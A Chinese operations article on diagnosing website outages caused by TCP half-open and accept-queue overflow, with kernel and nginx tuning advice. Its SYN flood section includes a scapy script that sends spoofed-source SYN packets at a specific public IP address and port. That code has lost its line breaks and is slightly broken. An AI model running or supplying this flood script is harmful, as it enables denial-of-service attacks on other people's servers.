0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

TCP半连接队列和全连接队列的可能和出现问题和解决方案

马哥Linux运维 来源:未知 作者:易水寒 2018-05-19 10:52 次阅读

问题描述

监控系统发现电商网站主页及其它页面间歇性的无法访问;

查看安全防护和网络流量、应用系统负载均正常;

系统重启后,能够暂时解决,但持续一段时间后间歇性问题再次出现。

此时问题已影响到整个网站的正常业务,我那个心惊呀,最主要是报警系统没有任何报警,服务运行一切正常,瞬时背上的汗已经出来了。但还是要静心,来仔细寻找蛛丝马迹,来一步一步找问题。

问题初步判断

检查dev 和 网卡设备层,是否有error和drop ,分析在硬件和系统层是否异常 ----- 命令 cat /proc/net/dev 和 ifconfig

观察socket overflow 和 socket droped(如果应用处理全连接队列(accept queue)过慢 socket overflow,影响半连接队列(syn queue)溢出socket dropped)-----命令 netstat -s |grep -i listen

TCP半连接队列和全连接队列的可能和出现问题和解决方案

发现SYN socket overflow 和 socket droped 急增加

检查sysctl内核参数:backlog ,somaxconn,file-max 和 应用程序的backlog ;

ss -lnt查询,SEND-Q会取上述参数的最小值

发现当时队列已经超过网站80端口和443端口默认值

检查 selinux 和 NetworkManager 是否启用 ,建议禁用;

检查timestap ,reuse 启用,内核recycle是否启用,如果过NAT,禁用recycle;

抓包判断请求进来后应用处理的情况,是否收到SYN未响应情况。

深入分析问题

正常TCP建连接三次握手过程:

第一步:客户端 发送 syn 到 服务端发起握手;

第二步:服务端 收到 syn后回复syn+ack给 客户端;

第三步:客户端 收到syn+ack后,回复 服务端一个ack表示收到了 服务端的syn+ack 。

从描述的情况来看,TCP建连接的时候全连接队列(accept队列)满了,尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加,那么可以明确的是server上全连接队列一定溢出了。

接着查看溢出后,OS怎么处理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0

tcp_abort_on_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack(在server端认为连接还没建立起来)

为了证明客户端应用代码的异常跟全连接队列满有关系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的时候如果全连接队列满了,server发送一个reset包给client,表示废掉这个握手过程和这个连接(本来在server端这个连接就还没建立起来)。

接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误,到此证明客户端错误是这个原因导致的。

查看sysctl内核参数:backlog ,somaxconn,file-max 和 nginx的backlog配置参数,ss -ln取最小值,发现为128,此时resv-q已经在129 ,请求被丢弃。将上述参数修改,并进行优化:

linux内核参进行优化:net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384

nginx 配置参数优化:backlog=32768;

利用python 多线程压测,并未发现新的问题:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex: for each_a_tag in soup.find_all('a'): try: ex.submit(requests.get,each_a_tag['href']) except Exception as err: print('return error msg:'+str(err))

理解TCP握手过程中建连接的流程和队列

TCP半连接队列和全连接队列的可能和出现问题和解决方案

如上图所示,这里有两个队列:syns queue(半连接队列);accept queue(全连接队列)

三次握手中,在第一步server收到client的syn后,把相关信息放到半连接队列中,同时回复syn+ack给client(第二步);

第三步的时候server收到client的ack,如果这时全连接队列没满,那么从半连接队列拿出相关信息放入到全连接队列中,否则按tcp_abort_on_overflow指示的执行。

这时如果全连接队列满了并且tcp_abort_on_overflow是0的话,server过一段时间再次发送syn+ack给client(也就是重新走握手的第二步),如果client超时等待比较短,就很容易异常了。

sYN Flood洪水攻击

当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。

from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort): srcList = ['11.1.1.2','22.1.1.102','33.1.1.2', '125.130.5.199'] for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex: try: ex.submit(synFlood(tgt,dPort)) except Exception as err: print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视,但是又很关键,特别是对于一些短连接应用更容易爆发。

出现问题后,从网络流量、cpu、线程、负载来看都比较正常,在用户端来看rt比较高,但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱,建立起应急机机制,后续有机会写一下应急方面的文章。

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 监控系统
    +关注

    关注

    21

    文章

    3616

    浏览量

    169373
  • TCP
    TCP
    +关注

    关注

    8

    文章

    1273

    浏览量

    78312
  • 安全防护
    +关注

    关注

    0

    文章

    57

    浏览量

    13385

原文标题:记一次惊心的网站 TCP 队列问题排查经历

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    聊一聊消息队列技术选型的7种消息场景

    我们在做消息队列的技术选型时,往往会结合业务场景进行考虑。今天来聊一聊消息队列可能会用到的 7 种消息场景。
    的头像 发表于 12-09 17:50 925次阅读
    聊一聊消息<b class='flag-5'>队列</b>技术选型的7种消息场景

    TCP队列引用问题

    labview中如何将队列中的TCP网络连接读取出来,我知道是要用元素出队列这个函数,但是不知道在输出的元素端口后面接什么控件可以将队列中的
    发表于 04-27 16:02

    关于队列的问题

    画着叉叉的线应该连接什么控件才能将队列里的TCP网络连接输出呢?
    发表于 04-27 19:51

    LabVIEW2018 TCP Server 利用队列连接多个客户端

    TCP Server 端利用队列连接多个客户端
    发表于 06-14 22:51

    Agilent TCP队列管理

    TCP队列管理
    发表于 10-31 09:08

    labview队列 出现队列或者出队列问题

    最近在labview操作中出现了一个队列操作的问题,一入队列就出错,憋了好几天,今天终于解决了。首先,介绍一下我的程序。如图1,一个while循环加一个条件选择框,用main queue和Q3这两个
    发表于 03-26 17:29

    深度解析数据结构与算法篇之队列及环形队列的实现

    01 — 队列简介 队列是种先进先出的数据结构,有个元素进入队列称为入对(enqueue),删除元素称为出队(dequeue),队列有对头(head)和对尾(tail),当有元素进入
    的头像 发表于 06-18 10:07 1650次阅读

    RTOS消息队列的多种用途

      消息队列可以以多种不同的方式使用。事实上,您可以编写可能只使用消息队列的相当复杂的应用程序。仅使用消息队列可以减少代码的大小(即占用空间),因为可以模拟许多其他服务(信号量、时间延
    的头像 发表于 06-29 14:57 2062次阅读
    RTOS消息<b class='flag-5'>队列</b>的多种用途

    没有accept,能建立TCP连接吗?

    服务端代码,对socket执行bind方法可以绑定监听端口,然后执行listen方法后,就会进入监听(LISTEN)状态。内核会为每一个处于LISTEN状态的socket 分配两个队列,分别叫半连接队列和全
    的头像 发表于 08-05 10:37 679次阅读

    队列Queue的常用方法有哪些

    FIFO(先入先出)队列Queue,LIFO(后入先出)队列LifoQueue,和优先级队列PriorityQueue。
    的头像 发表于 08-19 10:24 5160次阅读
    <b class='flag-5'>队列</b>Queue的常用方法有哪些

    SystemVerilog中的队列

    队列是大小可变的有序集合,队列中元素必须是同一个类型的。队列支持对其所有元素的访问以及在队列的开始或结束处插入和删除。
    的头像 发表于 10-31 10:09 3076次阅读

    什么是消息队列?消息队列中间件重要吗?

    应用解耦:消息队列减少了服务之间的耦合性,不同的服务可以通过消息队列进行通信,而不用关心彼此的实现细节。
    的头像 发表于 11-07 14:55 1036次阅读

    利用C++提供的队列封装一个消息队列

    最近的C++项目中,需要用到消息队列,但是C++中又没有原生的消息队列,就在网上找了一下相关资料,利用C++提供的队列,自己封装一个消息队列,以后的项目也可以复用。
    的头像 发表于 05-20 15:16 1108次阅读
    利用C++提供的<b class='flag-5'>队列</b>封装一个消息<b class='flag-5'>队列</b>

    RTOS消息队列的应用

    基于RTOS的应用中,通常使用队列机制实现任务间的数据交互,一个应用程序可以有任意数量的消息队列,每个消息队列都有自己的用途。
    发表于 05-29 10:49 427次阅读
    RTOS消息<b class='flag-5'>队列</b>的应用

    无锁队列解决的问题

    为什么需要无锁队列 无锁队列解决了什么问题?无锁队列解决了锁引起的问题。 cache失效 当CPU要访问主存的时候,这些数据首先要被copy到cache中,因为这些数据在不久的将来可能
    的头像 发表于 11-10 15:33 270次阅读
    无锁<b class='flag-5'>队列</b>解决的问题